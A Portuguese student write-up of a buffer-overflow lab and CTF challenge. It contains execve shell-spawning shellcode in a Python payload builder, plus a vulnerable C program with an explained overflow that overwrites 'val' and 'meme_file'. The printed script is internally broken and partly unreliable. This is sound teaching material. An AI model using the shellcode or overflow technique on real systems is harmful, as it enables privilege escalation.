marianaosiecka
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    # Trabalho realizado na Semana #5 > # Ficha ## Task 1: Getting Familiar with Shellcode ![](https://i.imgur.com/atJ8f2q.png) ![](https://i.imgur.com/0nHXLeH.png) Verificamos que o programa criou uma nova shell, como era suposto, tanto para 32-bit e 64-bit. Consequentemente, significa que é possível colocar o código binário de um programa num buffer na stack e executá-lo ## Task 2: Understanding the Vulnerable Program ![](https://i.imgur.com/kS8DJTn.png) Quando um programa é compilado as configurações relacionadas com a proteção de stack são desativadas, pelo que o programa ganha permissões root. Consequentemente, o seguinte programa lê um número de bytes de um ficheiro e copia-os para um buffer de tamanho inferior, resultando na escrita dos restantes bytes fora do espaço alocado para o buffer. Tal acarreta a que possam ser alterados endereços de retorno, variaveis locais, etc ... O que constitui uma vunerabilidade. ## Task 3: Launching Attack on 32-bit Program (Level 1) Primeiro correu-se o programa na debug version de forma a entender as posições de cada variável na stack. ![](https://i.imgur.com/byGiBXg.png) ![](https://i.imgur.com/3tK0VYp.png) ![](https://i.imgur.com/7gQzpDh.png) ![](https://i.imgur.com/09m5wtD.png) Desta maneira, foi possível descobrir o offset entre o endereço da posição inicial do buffer e o endereço do local onde é guardado o endereço de retorno. De seguida, alterou-se as variáveis no script de python, resultando no código apresentado em baixo, sendo que este permitiu correr uma shell de owner root. ```#!/usr/bin/python3 import sys # Replace the content with the actual shellcode shellcode= ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31" "\xd2\x31\xc0\xb0\x0b\xcd\x80" ).encode('latin-1') # Fill the content with NOP's content = bytearray(0x90 for i in range(517)) ################################################################## # Put the shellcode somewhere in the payload start = "\xff\xff\xca\xc8" # Change this number content[start:start + len(shellcode)] = shellcode # Decide the return address value # and put it somewhere in the payload #ret = 0x00 # Change this number #offset = 0 # Change this number L = 4 # Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') ################################################################## # Write the content to a file with open('badfile', 'wb') as f: f.write(content) ``` Ao correr o programa com o debugger, passam a existir variáveis adicionais na stack, pelo que o endereço obtido para o frame pointer será inferior a quando o programa é executado no terminal. Consequentemente, a shell code é escrita mais longe, e o endereço de retorno é também maior, podendo correr o risco de se encontrar na zona dos NOPs. > # Desafio CTF da Semana 5 ## Primeira Parte Para a primeira parte do desafio, optamos por analisar o código de um dos ficheiros fornecidos, e perceber que a flag poderia ser obtida através de um buffer-overflow. Nas respota às questões colocadas acerca desta CTF é possível perceber a lógica e raciocínio que tivemos para tal. Resposta às questões: 1. Existe algum ficheiro que é aberto e lido pelo programa? Sim, o ficheiro *mem.txt.* 3. Existe alguma forma de controlar o ficheiro que é aberto? Sim. A variável responsável por guardar o nome do ficheiro a abrir (meme_file) encontra-se definida imediatamente antes do buffer. Assim, se for possível gerar um buffer-overflow, poderemos dar overwrite à variável meme_file, e consequentemente, alterar o ficheiro aberto. 5. Existe algum buffer-overflow? Se sim, o que é que podes fazer? O comando scanf está à espera de ler 28 chars do buffer, no entanto, este foi criado para ter uma capacidade máxima de 20 caracteres. Assim, se preenchermos o buffer até ao seu limite (20 char), os restantes irão dar overwrite à variável meme_file - tal como referido na pergunta 2. Assim, ao escrevermos nos ultimos 8 caracteres o nome do ficheiro que contém a flag, iremos fazer com que o código abra esse ficheiro, dando-nos a conhecer a flag. # Segunda Parte Para a segunda do desafio foi utilizado o mesmo raciocínio que para a primeira parte, tendo em conta, porém, da nova variavel inserida. Código da segunda parte: ``` #include <stdio.h> #include <stdlib.h> int main() { char meme_file[8] = "mem.txt\0"; char val[4] = "\xef\xbe\xad\xde"; char buffer[20]; printf("Try to unlock the flag.\n"); printf("Show me what you got:"); fflush(stdout); scanf("%32s", &buffer); if(*(int*)val == 0xfefc2223) { printf("I like what you got!\n"); FILE *fd = fopen(meme_file,"r"); while(1){ if(fd != NULL && fgets(buffer, 20, fd) != NULL) { printf("%s", buffer); } else { break; } } } else { printf("You gave me this %s and the value was %p. Disqualified!\n", meme_file, *(long*)val); } fflush(stdout); return 0; ``` 1. Que alterações foram feitas? Em relação ao código anterior existe uma nova variável (val) que é posteriormente usada numa comparação, de forma a mitigar um possivel buffer-overflow. 3. Mitigam na totalidade o problema? Não. 5. É possivel ultrapassar a mitigação usando uma técnica similar à que foi utilizada anteriormente? Tal como no código anterior, no novo código temos presente o uso do scanf para um número de caracteres superior ao limite do buffer. Logo, ao fazer o scanf ler 32 bytes - sendo os primeiros 20 aleatórios, seguidos do valor que validaria a comparação com a variável val(*), e os últimos "flag.txt" - podemos abrir o ficheiro "flag.txt", e consequenteme obter a flag da segunda parte. (*) Nota: Algo a ter em conta acerca do valor inserido para dar overwrite no "val", é que os inteiros são guardados em "little endian", pelo que a ordem como colocamos o valor para comparação no script teria de ser a inversa dp esperado (0xfefc2223)

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